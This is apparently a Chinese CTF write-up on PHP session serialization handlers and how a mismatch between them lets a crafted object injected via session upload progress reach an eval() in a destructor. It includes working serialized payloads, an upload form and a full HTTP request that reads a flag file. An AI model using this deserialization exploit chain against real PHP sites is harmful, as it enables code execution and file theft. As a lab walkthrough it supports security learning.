1. php存储session的三种模式

php_serialize(php=>5.5.4)

经过serialize()函数序列化数组

php

键名+竖线+经过seralize()序列处理的值

php_biary

键名的长度对应ASCII字符+键名+serialize()序列化的值

测试代码

<?php

//ini_set("session.serialize_handler", "php");

//ini_set("session.serialize_handler", "php_serialize");

ini_set("session.serialize_handler", "php_binary");

session_start();

$_SESSION['moonsec'] = $_GET['moonsec'];

序列化存储格式

php

moonsec|s:3:"123";

php_serialize

a:1:{s:7:"moonsec";s:3:"123";}

php_binary

<0x07>moonsecs:3:"123";

2.CTF题目

<?php
ini_set('session.serialize_handler', 'php');
session_start();
class CTF
{public $mdzz;function __construct(){$this->mdzz = 'phpinfo();';}function __destruct(){eval($this->mdzz);}
}
if(isset($_GET['phpinfo']))
{$m = new CTF();
}
else
{highlight_string(file_get_contents('index.php'));
}?>

条件

  1. session.serialize_handler  php 局部变量 php_serialize 主变量
  2. session.upload_progress.cleanup 默认开启 现关闭
  3. session.upload_progress.enabled 默认开启

php bug

PHP :: Doc Bug #71101 :: serialize_handler must not be switched for existing sessions

session.upload_progress.enabled  On

session.upload_progress.enabled本身作用不大,是用来检测一个文件上传的进度。但当一个文件上传时,同时POST一个与php.ini中session.upload_progress.name同名的变量时(session.upload_progress.name的变量值默认为PHP_SESSION_UPLOAD_PROGRESS),PHP检测到这种同名请求会在$_SESSION中添加一条数据。由此来设置session

序列化

<?php
class CTF
{public $mdzz;function __construct(){$this->mdzz = 'print_r(scandir(dirname(__FILE__)));';}function __destruct(){eval($this->mdzz);}
}$m = new CTF();
echo serialize($m);
?>
O:3:"CTF":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";}

上传表单  

<html>
<head>       <title>upload</title>
</head>
<body>
<form action="http://www.test1.com/ctf/demo3/index.php" method="POST" enctype="multipart/form-data">    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="1" />   <input type="file" name="file" />    <input type="submit" />
</form>
</body>
</html>

|O:3:\"CTF\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}

读flag

O:3:"CTF":1:{s:4:"mdzz";s:83:"print_r(file_get_contents("D:/phpstudy_pro/WWW/www.test1.com/ctf/demo3/flag.php"));";
|O:3:\"CTF\":1:{s:4:\"mdzz\";s:83:\"print_r(file_get_contents(\"D:/phpstudy_pro/WWW/www.test1.com/ctf/demo3/flag.php\"));\";

POST /ctf/demo3/index.php HTTP/1.1

Host: www.test1.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Content-Type: multipart/form-data; boundary=---------------------------11171372103466141198728743662

Content-Length: 39314

Origin: http://www.test1.com

Connection: close

Referer: http://www.test1.com/ctf/demo3/upload.html

Cookie: PHPSESSID=p13eoiiiq3rp69k85an1d2idbu

Upgrade-Insecure-Requests: 1

-----------------------------11171372103466141198728743662

Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

1

-----------------------------11171372103466141198728743662

Content-Disposition: form-data; name="file"; filename="|O:3:\"CTF\":1:{s:4:\"mdzz\";s:83:\"print_r(file_get_contents(\"D:/phpstudy_pro/WWW/www.test1.com/ctf/demo3/flag.php\"));\";}

Content-Type: image/png

PHP反序列化与SESSION相关推荐

  1. PHP之序列化与反序列化(session反序列化篇)

    只要接触多一点web方向的话无论是在做题还是在抓包都会碰到一个词-----session,无论你见过也好听过也罢,你是否真的知道session是什么? 初识session 简单直白一点session就 ...

  2. php session 反序列化,PHP SESSION反序列化本地样例分析

    PHP SESSION反序列化本地样例分析 0X00漏洞原因 主要原因是: ini_set('session.serialize_handler', 'php_serialize'); ini_set ...

  3. php session 反序列化

    php_session 反序列化 php 存储session的三种模式 php_serialize 经过serialize()函数序列化数组 php 键名+|+经过serialize()序列化处理后的 ...

  4. PHP session反序列化漏洞

    PHP session反序列化漏洞 PHP session反序列化漏洞,就是当[序列化存储Session数据]与[反序列化读取Session数据]的方式不同导致session反序列化漏洞的产生 什么是 ...

  5. 在SpringBoot中使用Spring Session解决分布式会话共享问题

    在SpringBoot中使用Spring Session解决分布式会话共享问题 问题描述: 每次当重启服务器时,都会导致会员平台中已登录的用户掉线.这是因为每个用户的会话信息及状态都是由session ...

  6. web中session与序列化的问题

    版权声明:尊重博主原创文章,转载请注明出处哦~http://blog.csdn.net/eson_15/article/details/51423300 最近在写网上商城项目的时候学习了一个关于ses ...

  7. session实现机制_如何理解php session运行机制

    php session运行机制就是客户端将session id传入到服务器中,服务器再根据session id找到对应的文件并将其反序列化得到session值,然后保存的时候先序列化再写入今天将要分享 ...

  8. ctf php沙箱,详谈CTF中常出现的PHP反序列化漏洞

    0x01什么是PHP序列化与反序列化 PHP序列化是一种把变量或对象以字符串形式转化以方便储存和传输的方法 在PHP中,序列化用于存储或传递 PHP 的值的过程中,同时不丢失其类型和结构. 比方来说, ...

  9. php initlize,PHP 反序列化漏洞入门学习笔记

    参考文章: 序列化和反序列化的概念 序列化就是将 对象.string.数组array.变量 转换成具有一定格式的字符串. 具体可以看 CTF PHP反序列化,下图摘自此篇文章 其实每个字符对应的含义都 ...

最新文章

  1. iOS中定时器NSTimer的开启与关闭
  2. LeetCode(9.回文数)JAVA
  3. mysql日常错误信息解决方法:InnoDB: and force InnoDB to continue crash recovery here.
  4. linux安装redis教程yum,linux下yum安装redis以及使用
  5. Css3从IE6-IE9的支持查看
  6. PHP实现四种基本排序算法
  7. 程序猿生存指南-38 枯木逢春
  8. linux之errno值为104(connetction reset by peer)
  9. pytorch中的expand()和expand_as()函数--扩展张量中某维数据的尺寸
  10. 入侵检测系统的性能的辨别(3)
  11. akka balance router的实现
  12. java编译时注解_简单介绍 Java 中的编译时注解
  13. 快速计算Distinct Count
  14. 【编辑器】Vim学习笔记
  15. (油菜花)为什么别的项目中的category拖到自己项目中无法使用?
  16. 资料汇总更新|FPGA软件安装包、书籍、源码、技术文档…(2021.01.04更新)
  17. 华为OD机试 - 乱序整数序列两数之和绝对值最小
  18. 注释工具一键添加佛祖保佑永无BUG、神兽护体等注释图案
  19. Windows 远程桌面连接方法及远程桌面控制软件推荐
  20. weex中UISegmentControl实现及遇到的问题

热门文章

  1. 项目实战——匹配系统(中)
  2. 【第一性原理】Centos7下编译并行lammps-7Aug19
  3. Springboot+Ajax工具类的使用
  4. 【C语言经典100题】(古典问题)兔子问题
  5. 2015年系统架构师软考案例分析考点
  6. 我与盲行教案(0723)
  7. 地震-电离层耦合机理
  8. java 字段排序_Java多字段排序之冒泡
  9. PhpStorm 2022.1.1(PHP集成开发)
  10. 京沪高铁订单,日本落选!